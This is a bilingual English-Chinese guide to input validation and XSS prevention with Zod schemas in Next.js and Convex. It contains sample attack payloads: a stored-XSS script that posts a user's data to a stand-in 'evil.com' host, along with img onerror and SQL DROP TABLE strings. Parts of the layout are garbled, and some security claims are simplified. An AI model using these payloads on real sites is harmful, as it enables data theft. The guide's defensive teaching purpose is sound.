input-validation-xss-prevention
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseInput Validation & XSS Prevention
输入验证与XSS防护
The Universal Truth of Web Security
Web安全的通用准则
Never trust user input. This is the foundational principle of web security.
Every major breach can be traced back to input validation failures:
- SQL Injection - Equifax (147 million records)
- XSS - British Airways (380,000 transactions, £20M fine)
- Command Injection - Countless others
According to OWASP, injection vulnerabilities are consistently the #1 or #2 threat to web applications. Input validation is not optional—it's existential.
永远不要信任用户输入。 这是Web安全的基础准则。
每一次重大安全漏洞都可以追溯到输入验证失效:
- SQL注入 - Equifax事件(1.47亿条记录泄露)
- XSS - 英国航空事件(38万笔交易受影响,罚款2000万英镑)
- 命令注入 - 其他数不胜数的案例
根据OWASP统计,注入漏洞始终是Web应用的头号或第二号威胁。输入验证不是可选功能,而是生存必备能力。
Understanding XSS (Cross-Site Scripting)
理解XSS(跨站脚本)
The Attack
攻击原理
Attacker enters in a bio field:
javascript
<script>
fetch('/api/user')
.then(r=>r.json())
.then(d=>fetch('https://evil.com',{
method:'POST',
body:JSON.stringify(d)
}))
</script>Without sanitization, when other users view this profile:
- The script executes in their browsers
- It steals their user data
- Sends it to attacker's server
- Victims never know they were compromised
攻击者在个人简介字段输入以下内容:
javascript
<script>
fetch('/api/user')
.then(r=>r.json())
.then(d=>fetch('https://evil.com',{
method:'POST',
body:JSON.stringify(d)
}))
</script>如果没有做清理处理,当其他用户查看该个人主页时:
- 脚本会在受害者的浏览器中执行
- 窃取受害者的用户数据
- 将数据发送到攻击者的服务器
- 受害者完全感知不到自己被攻击
Real-World XSS Consequences
真实世界的XSS攻击后果
British Airways (2018):
XSS vulnerability allowed attackers to inject payment card harvesting script. 380,000 transactions compromised. £20 million fine under GDPR.
MySpace Samy Worm (2005):
XSS vulnerability allowed a self-propagating script that added the attacker as a friend to over 1 million profiles in 20 hours. While mostly harmless (just adding friends), it demonstrated the potential: the same technique could have stolen credentials or payment data.
英国航空(2018年):
XSS漏洞允许攻击者注入支付卡窃取脚本,38万笔交易受影响,根据GDPR被处以2000万英镑罚款。
MySpace Samy蠕虫(2005年):
XSS漏洞允许一个自我传播的脚本在20小时内把攻击者加为超过100万个账户的好友。虽然这次攻击基本无害(仅添加好友),但它证明了该技术的潜在危害:同样的方法可以用来窃取凭证或支付数据。
Our Input Validation Architecture
我们的输入验证架构
Why Zod?
为什么选择Zod?
Traditional validation uses regular expressions and manual checks—error-prone and often incomplete.
Zod provides:
- ✅ Type-safe validation - TypeScript knows what's valid
- ✅ Composable schemas - Reuse validation logic
- ✅ Automatic transformation - Sanitization built-in
- ✅ Clear error messages - Helps users fix mistakes
- ✅ Runtime type checking - Catches issues in production
传统验证方式使用正则表达式和手动检查,容易出错且往往不够全面。
Zod提供以下能力:
- ✅ 类型安全验证 - TypeScript可以识别合法数据结构
- ✅ 可组合的schema - 可复用验证逻辑
- ✅ 自动转换 - 内置清理能力
- ✅ 清晰的错误信息 - 帮助用户修正输入错误
- ✅ 运行时类型检查 - 捕获生产环境中的问题
The Sanitization Strategy
清理策略
We remove dangerous characters that enable XSS attacks:
- - Prevents opening tags
< - - Prevents closing tags
> - - Prevents attribute injection
" - - Prevents HTML entity injection
&
Preserved:
- - Apostrophes (for names like O'Neal, D'Angelo, McDonald's)
'
Why not remove all special characters?
Because then users named "O'Neal" can't enter their names. Security must balance safety with usability.
我们会移除可能触发XSS攻击的危险字符:
- - 防止打开标签
< - - 防止关闭标签
> - - 防止属性注入
" - - 防止HTML实体注入
&
保留的字符:
- - 撇号(适配O'Neal、D'Angelo、McDonald's这类名称)
'
为什么不移除所有特殊字符?
如果这么做,名叫"O'Neal"的用户就无法输入自己的姓名。安全需要在安全性和可用性之间取得平衡。
Industry Validation Approach
行业标准验证方法
According to OWASP and NIST guidelines, the secure approach is:
- Validate (check format/type)
- Sanitize (remove dangerous content)
- Encode on output (escape when displaying)
We do all three:
- Zod validates format
- sanitizes
.transform() - React escapes output
根据OWASP和NIST指南,安全的处理流程是:
- 验证(检查格式/类型)
- 清理(移除危险内容)
- 输出编码(展示时做转义处理)
我们三层防护都做了:
- Zod验证格式
- 做内容清理
.transform() - React自动转义输出
Implementation Files
实现文件
- - 11 pre-built Zod schemas
lib/validation.ts - - Validation helper that formats errors
lib/validateRequest.ts
- - 11个预构建的Zod schema
lib/validation.ts - - 格式化错误的验证工具函数
lib/validateRequest.ts
How to Use Input Validation
如何使用输入验证
Basic Pattern
基础使用模式
typescript
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';
async function handler(request: NextRequest) {
const body = await request.json();
// Validate and sanitize
const validation = validateRequest(safeTextSchema, body);
if (!validation.success) {
return validation.response; // Returns 400 with field errors
}
// TypeScript knows exact shape, data is XSS-sanitized
const sanitizedData = validation.data;
// Safe to use
}typescript
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';
async function handler(request: NextRequest) {
const body = await request.json();
// 验证并清理内容
const validation = validateRequest(safeTextSchema, body);
if (!validation.success) {
return validation.response; // 返回400状态码和字段错误信息
}
// TypeScript可以识别确切的数据结构,且数据已经过XSS清理
const sanitizedData = validation.data;
// 可安全使用
}Complete Secure API Route
完整的安全API路由示例
typescript
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';
async function createPostHandler(request: NextRequest) {
try {
// Authentication
const { userId } = await auth();
if (!userId) return handleUnauthorizedError();
const body = await request.json();
// Validation & Sanitization
const validation = validateRequest(createPostSchema, body);
if (!validation.success) {
return validation.response;
}
const { title, content, tags } = validation.data;
// Data is now:
// - Type-safe (TypeScript validated)
// - Sanitized (XSS characters removed)
// - Validated (length, format checked)
// Safe to store in database
await db.posts.insert({
title,
content,
tags,
userId,
createdAt: Date.now()
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'create-post');
}
}
export const POST = withRateLimit(withCsrf(createPostHandler));
export const config = {
runtime: 'nodejs',
};typescript
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';
async function createPostHandler(request: NextRequest) {
try {
// 身份验证
const { userId } = await auth();
if (!userId) return handleUnauthorizedError();
const body = await request.json();
// 验证与清理
const validation = validateRequest(createPostSchema, body);
if (!validation.success) {
return validation.response;
}
const { title, content, tags } = validation.data;
// 现在的数据具备以下特性:
// - 类型安全(已通过TypeScript验证)
// - 已清理(移除了XSS危险字符)
// - 已验证(长度、格式都经过检查)
// 可安全存入数据库
await db.posts.insert({
title,
content,
tags,
userId,
createdAt: Date.now()
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'create-post');
}
}
export const POST = withRateLimit(withCsrf(createPostHandler));
export const config = {
runtime: 'nodejs',
};Available Validation Schemas
可用的验证Schema
All schemas are in :
lib/validation.ts所有schema都存放在中:
lib/validation.ts1. emailSchema
1. emailSchema
Use for: Email addresses
typescript
import { emailSchema } from '@/lib/validation';
const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;
const email = validation.data; // Normalized, lowercaseFeatures:
- Valid email format required
- Normalized to lowercase
- Max 254 characters
- Trims whitespace
适用场景: 邮箱地址
typescript
import { emailSchema } from '@/lib/validation';
const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;
const email = validation.data; // 已标准化为小写特性:
- 要求符合邮箱格式规范
- 自动标准化为小写
- 最长254个字符
- 自动修剪首尾空白
2. safeTextSchema
2. safeTextSchema
Use for: Short text fields (names, titles, subjects)
typescript
import { safeTextSchema } from '@/lib/validation';
const validation = validateRequest(safeTextSchema, inputText);Features:
- Min 1, max 100 characters
- Removes:
< > " & - Preserves: (apostrophes)
' - Trims whitespace
适用场景: 短文本字段(姓名、标题、主题)
typescript
import { safeTextSchema } from '@/lib/validation';
const validation = validateRequest(safeTextSchema, inputText);特性:
- 长度1到100个字符
- 移除字符:
< > " & - 保留字符:(撇号)
' - 自动修剪首尾空白
3. safeLongTextSchema
3. safeLongTextSchema
Use for: Long text (descriptions, bios, comments, messages)
typescript
import { safeLongTextSchema } from '@/lib/validation';
const validation = validateRequest(safeLongTextSchema, description);Features:
- Min 1, max 5000 characters
- Same sanitization as safeTextSchema
- Suitable for textarea content
适用场景: 长文本(描述、个人简介、评论、消息)
typescript
import { safeLongTextSchema } from '@/lib/validation';
const validation = validateRequest(safeLongTextSchema, description);特性:
- 长度1到5000个字符
- 和safeTextSchema使用相同的清理规则
- 适用于textarea内容
4. usernameSchema
4. usernameSchema
Use for: Usernames, slugs, identifiers
typescript
import { usernameSchema } from '@/lib/validation';
const validation = validateRequest(usernameSchema, username);Features:
- Alphanumeric + underscores + hyphens only
- Min 3, max 30 characters
- Lowercase only
- No spaces or special characters
适用场景: 用户名、slug、标识符
typescript
import { usernameSchema } from '@/lib/validation';
const validation = validateRequest(usernameSchema, username);特性:
- 仅允许字母、数字、下划线、连字符
- 长度3到30个字符
- 仅允许小写
- 不允许空格或特殊字符
5. urlSchema
5. urlSchema
Use for: Website URLs, link fields
typescript
import { urlSchema } from '@/lib/validation';
const validation = validateRequest(urlSchema, websiteUrl);Features:
- Must be valid URL
- HTTPS only (security requirement)
- Max 2048 characters
- Validates protocol, domain
适用场景: 网站URL、链接字段
typescript
import { urlSchema } from '@/lib/validation';
const validation = validateRequest(urlSchema, websiteUrl);特性:
- 必须是合法URL
- 仅允许HTTPS(安全要求)
- 最长2048个字符
- 验证协议、域名合法性
6. contactFormSchema
6. contactFormSchema
Use for: Complete contact forms
typescript
import { contactFormSchema } from '@/lib/validation';
const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;
const { name, email, subject, message } = validation.data;Fields:
typescript
{
name: string, // safeTextSchema (1-100 chars)
email: string, // emailSchema
subject: string, // safeTextSchema (1-100 chars)
message: string // safeLongTextSchema (1-5000 chars)
}适用场景: 完整的联系表单
typescript
import { contactFormSchema } from '@/lib/validation';
const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;
const { name, email, subject, message } = validation.data;字段结构:
typescript
{
name: string, // 遵循safeTextSchema(1-100字符)
email: string, // 遵循emailSchema
subject: string, // 遵循safeTextSchema(1-100字符)
message: string // 遵循safeLongTextSchema(1-5000字符)
}7. createPostSchema
7. createPostSchema
Use for: User-generated blog posts, articles
typescript
import { createPostSchema } from '@/lib/validation';
const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;
const { title, content, tags } = validation.data;Fields:
typescript
{
title: string, // safeTextSchema (1-100 chars)
content: string, // safeLongTextSchema (1-5000 chars)
tags: string[] | null // Array of safeText strings (optional)
}适用场景: 用户生成的博客文章、内容
typescript
import { createPostSchema } from '@/lib/validation';
const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;
const { title, content, tags } = validation.data;字段结构:
typescript
{
title: string, // 遵循safeTextSchema(1-100字符)
content: string, // 遵循safeLongTextSchema(1-5000字符)
tags: string[] | null // 符合safeText要求的字符串数组(可选)
}8. updateProfileSchema
8. updateProfileSchema
Use for: Profile updates
typescript
import { updateProfileSchema } from '@/lib/validation';
const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;
const { displayName, bio, website } = validation.data;Fields:
typescript
{
displayName: string | null, // safeTextSchema (optional)
bio: string | null, // safeLongTextSchema (optional)
website: string | null // urlSchema (optional, HTTPS only)
}适用场景: 个人资料更新
typescript
import { updateProfileSchema } from '@/lib/validation';
const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;
const { displayName, bio, website } = validation.data;字段结构:
typescript
{
displayName: string | null, // 遵循safeTextSchema(可选)
bio: string | null, // 遵循safeLongTextSchema(可选)
website: string | null // 遵循urlSchema(可选,仅支持HTTPS)
}9. idSchema
9. idSchema
Use for: Database IDs, reference fields
typescript
import { idSchema } from '@/lib/validation';
const validation = validateRequest(idSchema, itemId);Features:
- Non-empty string
- Trims whitespace
- Use for validating ID parameters
适用场景: 数据库ID、引用字段
typescript
import { idSchema } from '@/lib/validation';
const validation = validateRequest(idSchema, itemId);特性:
- 非空字符串
- 自动修剪首尾空白
- 适用于验证ID参数
10. positiveIntegerSchema
10. positiveIntegerSchema
Use for: Counts, quantities, pagination
typescript
import { positiveIntegerSchema } from '@/lib/validation';
const validation = validateRequest(positiveIntegerSchema, quantity);Features:
- Integer only
- Must be positive (> 0)
- No decimals
适用场景: 计数、数量、分页参数
typescript
import { positiveIntegerSchema } from '@/lib/validation';
const validation = validateRequest(positiveIntegerSchema, quantity);特性:
- 仅允许整数
- 必须为正数(> 0)
- 不允许小数
11. paginationSchema
11. paginationSchema
Use for: Pagination parameters
typescript
import { paginationSchema } from '@/lib/validation';
const validation = validateRequest(paginationSchema, {
page: queryParams.page,
limit: queryParams.limit
});
const { page, limit } = validation.data;Fields:
typescript
{
page: number, // Default: 1, Min: 1
limit: number // Default: 10, Min: 1, Max: 100
}适用场景: 分页参数
typescript
import { paginationSchema } from '@/lib/validation';
const validation = validateRequest(paginationSchema, {
page: queryParams.page,
limit: queryParams.limit
});
const { page, limit } = validation.data;字段结构:
typescript
{
page: number, // 默认值: 1, 最小值: 1
limit: number // 默认值: 10, 最小值: 1, 最大值: 100
}Creating Custom Schemas
创建自定义Schema
Custom Schema Template
自定义Schema模板
typescript
// lib/validation.ts
import { z } from 'zod';
// Add your custom schema
export const myCustomSchema = z.object({
field: z.string()
.min(1, 'Required')
.max(200, 'Too long')
.trim()
.transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});
export type MyCustomData = z.infer<typeof myCustomSchema>;typescript
// lib/validation.ts
import { z } from 'zod';
// 添加你的自定义schema
export const myCustomSchema = z.object({
field: z.string()
.min(1, '该字段为必填项')
.max(200, '内容过长')
.trim()
.transform((val) => val.replace(/[<>"&]/g, '')), // XSS清理
});
export type MyCustomData = z.infer<typeof myCustomSchema>;Complex Schema Example
复杂Schema示例
typescript
// Registration form with multiple validations
export const registrationSchema = z.object({
username: usernameSchema,
email: emailSchema,
password: z.string()
.min(12, 'Password must be at least 12 characters')
.regex(/[A-Z]/, 'Must contain uppercase letter')
.regex(/[a-z]/, 'Must contain lowercase letter')
.regex(/[0-9]/, 'Must contain number')
.regex(/[^A-Za-z0-9]/, 'Must contain special character'),
passwordConfirm: z.string(),
agreeToTerms: z.boolean().refine(val => val === true, {
message: 'You must agree to terms'
})
}).refine((data) => data.password === data.passwordConfirm, {
message: "Passwords don't match",
path: ["passwordConfirm"]
});typescript
// 包含多种验证规则的注册表单
export const registrationSchema = z.object({
username: usernameSchema,
email: emailSchema,
password: z.string()
.min(12, '密码长度至少为12个字符')
.regex(/[A-Z]/, '必须包含大写字母')
.regex(/[a-z]/, '必须包含小写字母')
.regex(/[0-9]/, '必须包含数字')
.regex(/[^A-Za-z0-9]/, '必须包含特殊字符'),
passwordConfirm: z.string(),
agreeToTerms: z.boolean().refine(val => val === true, {
message: '你必须同意服务条款'
})
}).refine((data) => data.password === data.passwordConfirm, {
message: "两次输入的密码不一致",
path: ["passwordConfirm"]
});Conditional Validation
条件验证
typescript
export const orderSchema = z.object({
orderType: z.enum(['pickup', 'delivery']),
address: z.string().optional(),
phone: z.string().optional()
}).refine(
(data) => {
if (data.orderType === 'delivery') {
return !!data.address && !!data.phone;
}
return true;
},
{
message: 'Address and phone required for delivery',
path: ['address']
}
);typescript
export const orderSchema = z.object({
orderType: z.enum(['pickup', 'delivery']),
address: z.string().optional(),
phone: z.string().optional()
}).refine(
(data) => {
if (data.orderType === 'delivery') {
return !!data.address && !!data.phone;
}
return true;
},
{
message: '配送订单必须填写地址和手机号',
path: ['address']
}
);Frontend Validation
前端验证
Client-Side Pre-validation
客户端预验证
typescript
'use client';
import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';
export function CreatePostForm() {
const [errors, setErrors] = useState<Record<string, string>>({});
async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
e.preventDefault();
setErrors({});
const formData = new FormData(e.currentTarget);
const data = {
title: formData.get('title'),
content: formData.get('content'),
tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
};
// Client-side validation (UX improvement, not security)
const validation = createPostSchema.safeParse(data);
if (!validation.success) {
const fieldErrors: Record<string, string> = {};
validation.error.errors.forEach((err) => {
if (err.path[0]) {
fieldErrors[err.path[0].toString()] = err.message;
}
});
setErrors(fieldErrors);
return;
}
// Submit to server (server validates again!)
try {
const response = await fetch('/api/posts', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(validation.data)
});
if (response.ok) {
alert('Post created!');
}
} catch (error) {
console.error('Error:', error);
}
}
return (
<form onSubmit={handleSubmit}>
<div>
<input name="title" placeholder="Title" />
{errors.title && <span className="error">{errors.title}</span>}
</div>
<div>
<textarea name="content" placeholder="Content" />
{errors.content && <span className="error">{errors.content}</span>}
</div>
<div>
<input name="tags" placeholder="Tags (comma separated)" />
{errors.tags && <span className="error">{errors.tags}</span>}
</div>
<button type="submit">Create Post</button>
</form>
);
}Important: Client-side validation is for UX only. Always validate on the server - client-side validation can be bypassed.
typescript
'use client';
import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';
export function CreatePostForm() {
const [errors, setErrors] = useState<Record<string, string>>({});
async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
e.preventDefault();
setErrors({});
const formData = new FormData(e.currentTarget);
const data = {
title: formData.get('title'),
content: formData.get('content'),
tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
};
// 客户端验证(仅用于提升UX,不具备安全作用)
const validation = createPostSchema.safeParse(data);
if (!validation.success) {
const fieldErrors: Record<string, string> = {};
validation.error.errors.forEach((err) => {
if (err.path[0]) {
fieldErrors[err.path[0].toString()] = err.message;
}
});
setErrors(fieldErrors);
return;
}
// 提交到服务端(服务端会再次验证!)
try {
const response = await fetch('/api/posts', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(validation.data)
});
if (response.ok) {
alert('帖子创建成功!');
}
} catch (error) {
console.error('错误:', error);
}
}
return (
<form onSubmit={handleSubmit}>
<div>
<input name="title" placeholder="标题" />
{errors.title && <span className="error">{errors.title}</span>}
</div>
<div>
<textarea name="content" placeholder="内容" />
{errors.content && <span className="error">{errors.content}</span>}
</div>
<div>
<input name="tags" placeholder="标签(用逗号分隔)" />
{errors.tags && <span className="error">{errors.tags}</span>}
</div>
<button type="submit">创建帖子</button>
</form>
);
}重要提示: 客户端验证仅用于优化用户体验。必须在服务端再次验证 - 客户端验证可以被绕过。
Attack Scenarios & Protection
攻击场景与防护方案
Attack 1: XSS via Comment
攻击1:通过评论注入XSS
Attack:
javascript
POST /api/comment
{
"content": "<script>alert(document.cookie)</script>"
}Protection:
typescript
const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmless攻击行为:
javascript
POST /api/comment
{
"content": "<script>alert(document.cookie)</script>"
}防护方案:
typescript
const validation = validateRequest(safeLongTextSchema, body);
// 处理结果: content = "alert(document.cookie)"
// < 和 > 被移除,脚本失去危害Attack 2: SQL Injection Attempt
攻击2:SQL注入尝试
Attack:
javascript
POST /api/search
{
"query": "'; DROP TABLE users; --"
}Protection:
typescript
const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitizedNote: Use parameterized queries in database layer for full SQL injection protection.
攻击行为:
javascript
POST /api/search
{
"query": "'; DROP TABLE users; --"
}防护方案:
typescript
const validation = validateRequest(safeTextSchema, body);
// 处理结果: query = "'; DROP TABLE users; --"
// 仍然包含SQL语句,但参数化查询会阻止其执行
// 另外还做了输入长度限制、特殊字符清理注意: 需要在数据库层使用参数化查询才能实现完整的SQL注入防护。
Attack 3: Buffer Overflow via Long Input
攻击3:通过超长输入实现缓冲区溢出
Attack:
javascript
POST /api/profile
{
"bio": "A".repeat(1000000) // 1 million characters
}Protection:
typescript
const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing攻击行为:
javascript
POST /api/profile
{
"bio": "A".repeat(1000000) // 100万个字符
}防护方案:
typescript
const validation = validateRequest(updateProfileSchema, body);
// 处理结果: 验证失败
// 错误信息: "个人简介最多只能包含5000个字符"
// 处理前就返回HTTP 400错误Attack 4: Script Injection in Multiple Fields
攻击4:多字段脚本注入
Attack:
javascript
POST /api/contact
{
"name": "<script>evil()</script>",
"email": "attacker@evil.com",
"subject": "<img src=x onerror=alert(1)>",
"message": "Normal message"
}Protection:
typescript
const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "attacker@evil.com"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically攻击行为:
javascript
POST /api/contact
{
"name": "<script>evil()</script>",
"email": "attacker@evil.com",
"subject": "<img src=x onerror=alert(1)>",
"message": "普通消息"
}防护方案:
typescript
const validation = validateRequest(contactFormSchema, body);
// 处理结果:
// name: "evil()"
// email: "attacker@evil.com"
// subject: ""
// message: "普通消息"
// 所有危险标签都会被自动移除Testing Input Validation
测试输入验证
Test XSS Sanitization
测试XSS清理效果
bash
undefinedbash
undefinedTest XSS in title
测试标题字段的XSS防护
curl -X POST http://localhost:3000/api/example-protected
-H "Content-Type: application/json"
-H "X-CSRF-Token: <get-from-/api/csrf>"
-d '{"title": "<script>alert(1)</script>"}'
-H "Content-Type: application/json"
-H "X-CSRF-Token: <get-from-/api/csrf>"
-d '{"title": "<script>alert(1)</script>"}'
curl -X POST http://localhost:3000/api/example-protected
-H "Content-Type: application/json"
-H "X-CSRF-Token: <从/api/csrf获取>"
-d '{"title": "<script>alert(1)</script>"}'
-H "Content-Type: application/json"
-H "X-CSRF-Token: <从/api/csrf获取>"
-d '{"title": "<script>alert(1)</script>"}'
Expected: 200 OK, but title = "alert(1)"
预期结果: 200 OK, 但title = "alert(1)"
undefinedundefinedTest Validation Errors
测试验证错误
bash
undefinedbash
undefinedTest too-long input
测试超长输入
curl -X POST http://localhost:3000/api/example-protected
-H "Content-Type: application/json"
-H "X-CSRF-Token: <get-from-/api/csrf>"
-d "{"title": "$(printf 'A%.0s' {1..200})"}"
-H "Content-Type: application/json"
-H "X-CSRF-Token: <get-from-/api/csrf>"
-d "{"title": "$(printf 'A%.0s' {1..200})"}"
curl -X POST http://localhost:3000/api/example-protected
-H "Content-Type: application/json"
-H "X-CSRF-Token: <从/api/csrf获取>"
-d "{"title": "$(printf 'A%.0s' {1..200})"}"
-H "Content-Type: application/json"
-H "X-CSRF-Token: <从/api/csrf获取>"
-d "{"title": "$(printf 'A%.0s' {1..200})"}"
Expected: 400 Bad Request
预期结果: 400 Bad Request
{
{
"error": "Validation failed",
"error": "Validation failed",
"details": {
"details": {
"title": "String must contain at most 100 character(s)"
"title": "String must contain at most 100 character(s)"
}
}
}
}
undefinedundefinedTest Email Validation
测试邮箱验证
bash
undefinedbash
undefinedTest invalid email
测试非法邮箱
curl -X POST http://localhost:3000/api/contact
-H "Content-Type: application/json"
-d '{ "name": "Test", "email": "not-an-email", "subject": "Test", "message": "Test" }'
-H "Content-Type: application/json"
-d '{ "name": "Test", "email": "not-an-email", "subject": "Test", "message": "Test" }'
curl -X POST http://localhost:3000/api/contact
-H "Content-Type: application/json"
-d '{ "name": "测试", "email": "not-an-email", "subject": "测试", "message": "测试" }'
-H "Content-Type: application/json"
-d '{ "name": "测试", "email": "not-an-email", "subject": "测试", "message": "测试" }'
Expected: 400 Bad Request
预期结果: 400 Bad Request
{ "error": "Validation failed", "details": { "email": "Invalid email" } }
{ "error": "Validation failed", "details": { "email": "Invalid email" } }
undefinedundefinedError Response Format
错误响应格式
When validation fails, returns:
validateRequest()typescript
{
error: "Validation failed",
details: {
fieldName: "Error message",
anotherField: "Another error"
}
}HTTP Status: 400 Bad Request
当验证失败时, 会返回:
validateRequest()typescript
{
error: "Validation failed",
details: {
fieldName: "Error message",
anotherField: "Another error"
}
}HTTP状态码: 400 Bad Request
Common Validation Patterns
常见验证模式
Pattern 1: Optional Fields
模式1:可选字段
typescript
const schema = z.object({
required: safeTextSchema,
optional: safeTextSchema.optional(),
nullable: safeTextSchema.nullable(),
optionalWithDefault: safeTextSchema.default('default value')
});typescript
const schema = z.object({
required: safeTextSchema,
optional: safeTextSchema.optional(),
nullable: safeTextSchema.nullable(),
optionalWithDefault: safeTextSchema.default('默认值')
});Pattern 2: Array Validation
模式2:数组验证
typescript
const schema = z.object({
tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
categories: z.array(z.string()).min(1, 'At least one category required')
});typescript
const schema = z.object({
tags: z.array(safeTextSchema).max(10, '最多只能添加10个标签'),
categories: z.array(z.string()).min(1, '至少要选择一个分类')
});Pattern 3: Enum Values
模式3:枚举值
typescript
const schema = z.object({
status: z.enum(['draft', 'published', 'archived']),
priority: z.enum(['low', 'medium', 'high'])
});typescript
const schema = z.object({
status: z.enum(['draft', 'published', 'archived']),
priority: z.enum(['low', 'medium', 'high'])
});Pattern 4: Number Ranges
模式4:数字范围
typescript
const schema = z.object({
age: z.number().int().min(18).max(120),
rating: z.number().min(1).max(5),
price: z.number().positive()
});typescript
const schema = z.object({
age: z.number().int().min(18).max(120),
rating: z.number().min(1).max(5),
price: z.number().positive()
});Pattern 5: Date Validation
模式5:日期验证
typescript
const schema = z.object({
birthdate: z.string().datetime(),
appointmentDate: z.string().datetime()
.refine((date) => new Date(date) > new Date(), {
message: 'Appointment must be in the future'
})
});typescript
const schema = z.object({
birthdate: z.string().datetime(),
appointmentDate: z.string().datetime()
.refine((date) => new Date(date) > new Date(), {
message: '预约时间必须晚于当前时间'
})
});Convex Integration
Convex集成
When using Convex, always validate inputs in mutations - never insert directly into the database.
args使用Convex时,必须在mutation中验证输入 - 永远不要直接把插入数据库。
argsBasic Convex Validation Pattern
基础Convex验证模式
typescript
// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";
export const createPost = mutation({
handler: async (ctx, args) => {
// Validate with Zod
const validation = createPostSchema.safeParse(args);
if (!validation.success) {
throw new Error("Invalid input: " + validation.error.message);
}
// Use sanitized data
const { title, content, tags } = validation.data;
await ctx.db.insert("posts", {
title,
content,
tags,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});typescript
// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";
export const createPost = mutation({
handler: async (ctx, args) => {
// 使用Zod验证
const validation = createPostSchema.safeParse(args);
if (!validation.success) {
throw new Error("输入不合法: " + validation.error.message);
}
// 使用清理后的数据
const { title, content, tags } = validation.data;
await ctx.db.insert("posts", {
title,
content,
tags,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});Multiple Field Validation in Convex
Convex多字段验证
typescript
// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";
export const createItem = mutation({
handler: async (ctx, args) => {
// Validate each field with appropriate schema
const titleValidation = safeTextSchema.safeParse(args.title);
const descValidation = safeLongTextSchema.safeParse(args.description);
if (!titleValidation.success || !descValidation.success) {
throw new Error("Invalid input");
}
// Use sanitized data
await ctx.db.insert("items", {
title: titleValidation.data,
description: descValidation.data,
userId: ctx.auth.userId, // From Clerk authentication
createdAt: Date.now()
});
}
});typescript
// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";
export const createItem = mutation({
handler: async (ctx, args) => {
// 每个字段使用对应的schema验证
const titleValidation = safeTextSchema.safeParse(args.title);
const descValidation = safeLongTextSchema.safeParse(args.description);
if (!titleValidation.success || !descValidation.success) {
throw new Error("输入不合法");
}
// 使用清理后的数据
await ctx.db.insert("items", {
title: titleValidation.data,
description: descValidation.data,
userId: ctx.auth.userId, // 来自Clerk身份验证
createdAt: Date.now()
});
}
});Anti-Pattern: Direct Args Insertion (NEVER DO THIS)
反模式:直接插入参数(绝对不要这么做)
typescript
// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
handler: async (ctx, args) => {
// VULNERABLE: args inserted directly without validation
await ctx.db.insert("items", args);
}
});
// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
handler: async (ctx, args) => {
const validation = createItemSchema.safeParse(args);
if (!validation.success) {
throw new Error("Invalid input");
}
await ctx.db.insert("items", {
title: validation.data.title,
description: validation.data.description,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});typescript
// ❌ 错误 - 未验证直接插入
export const createItem = mutation({
handler: async (ctx, args) => {
// 存在漏洞:参数未经验证直接插入
await ctx.db.insert("items", args);
}
});
// ✅ 正确 - 经过验证和清理
export const createItem = mutation({
handler: async (ctx, args) => {
const validation = createItemSchema.safeParse(args);
if (!validation.success) {
throw new Error("输入不合法");
}
await ctx.db.insert("items", {
title: validation.data.title,
description: validation.data.description,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});Why Convex Validation is Critical
为什么Convex验证至关重要
- Frontend validation can be bypassed - Attackers can call Convex mutations directly
- Convex functions are your API - Treat them like API routes with full validation
- Type-safety alone isn't enough - TypeScript types don't prevent XSS or validate lengths
- Defense-in-depth - Even if Next.js API validates, Convex should validate too
